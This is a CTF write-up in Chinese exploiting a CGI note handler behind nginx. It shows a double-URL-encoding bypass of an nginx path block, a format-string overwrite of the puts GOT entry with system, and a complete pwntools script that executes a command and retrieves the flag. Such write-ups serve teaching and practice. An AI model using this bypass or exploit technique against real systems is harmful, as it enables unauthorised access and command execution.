因为cgi程序交互运行只有一瞬间,我们没法attach上去,所以我选择在入口找了一个合适的函数进行patch,修改成sleep(10),这样就可以attach上去了:
![](https://img2023.cnblogs.com/blog/1049983/202408/1049983-20240802141227091-1035754303.jpg)
然后程序开头会check一下访问的uri以及xff头:
![](https://img2023.cnblogs.com/blog/1049983/202408/1049983-20240802141227742-64739690.jpg)
![](https://img2023.cnblogs.com/blog/1049983/202408/1049983-20240802141228508-421244905.jpg)
而根据配置文件,我们访问的程序只能是/cgi-bin/xxx,并且不能是/cgi-bin/note_handler:
location /cgi-bin/{
if($uri="/cgi-bin/note_handler"){
return403;
}
expires +1h;
limit_rate 10k;
root /usr/share;
fastcgi_pass unix:/var/run/fcgiwrap.socket;
fastcgi_index /cgi-bin/http;
include /etc/nginx/fastcgi_params;
#fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
fastcgi_param SCRIPT_FILENAME $document_root/cgi-bin/http;
}
而进入到后面的功能又必须是/cgi-bin/note_handler,所以这里利用uri会进行一次url解码来绕过:
![](https://img2023.cnblogs.com/blog/1049983/202408/1049983-20240802141229174-1427186350.jpg)
具体来说,nginx会对uri进行一次解码,程序本身又会进行另一次解码,所以需要对uri进行二次编码,也就是将%进行编码(%25),送进程序后会变成%6e,再解码就可以:
note_handler -> %6eote_handler -> %256eote_handler
到后面的功能里,提取content后有个格式化字符串漏洞,写得非常有迷惑性:
![](https://img2023.cnblogs.com/blog/1049983/202408/1049983-20240802141229863-956050692.jpg)
把提取到的content作为format送进snprintf里导致了格式化字符串漏洞,这里传%s进去还能造成栈溢出,可以用%p泄露canary,但是程序每次运行都是新进程,canary会变化所以没法利用栈溢出:
![](https://img2023.cnblogs.com/blog/1049983/202408/1049983-20240802141230669-80055670.jpg)
因为got可以写,而且程序里也有system,所以直接修改puts的got,利用print功能来执行命令:
![](https://img2023.cnblogs.com/blog/1049983/202408/1049983-20240802141231373-195035471.jpg)
这里的content_是前面循环获取的最后一个content,所以命令写在最后面。
可以看到puts@plt和system@plt只差一个字节:
![](https://img2023.cnblogs.com/blog/1049983/202408/1049983-20240802141232052-614292653.jpg)
因为我们要写入\xb0,需要用到%176c来写,观察一下漏洞触发前的现场,因为没法传递空字节,所以可知目标地址得写在$rdi+0xc0的地方(当然更远也可以):
![](https://img2023.cnblogs.com/blog/1049983/202408/1049983-20240802141232724-899184500.jpg)
然后就可以执行命令了。
虽然我们没法直接把flag写到web目录读取,但是根据nginx配置文件可以看到路由/get_flag可以读取/tmp/flag:
location /get_flag {
alias /tmp/flag;
default_type text/plain;
}
所以最终利用脚本:
from pwn import*
# context.log_level = 'debug'
cmd ="cat /flag>/tmp/flag"
payload ="GET /cgi-bin/%256eote_handler?action=add,print&content=%192c"
payload +='\x28\x40\x40'# puts got: 0x404028
payload +="&content=%176c%34$hhn&content="
payload += cmd
payload +=" HTTP/1.1\r\n"
payload +="Host: 127.0.0.1\r\n"
payload +="X-Forwarded-For: 127.0.0.1\r\n\r\n"
# p = remote("173.34.20.16", 80)
p = remote("127.0.0.1",8088)
p.send(payload)
print(p.recv().decode(("utf-8")))
p.close()
payload =b"GET /get_flag HTTP/1.1\r\nHost:127.0.0.1\r\n\r\n"
p = remote("127.0.0.1",8088)
p.send(payload.decode("utf-8"))
print(p.recv().decode(("utf-8")))
p.close()
附件下载地址:
链接: https://pan.baidu.com/s/1bqh5P5z3N3ms8Bh24JLMvg 提取码: f2e2
转自原文链接地址:
https://mp.weixin.qq.com/s/a6GkBTAXwSubQ_M02G3SyA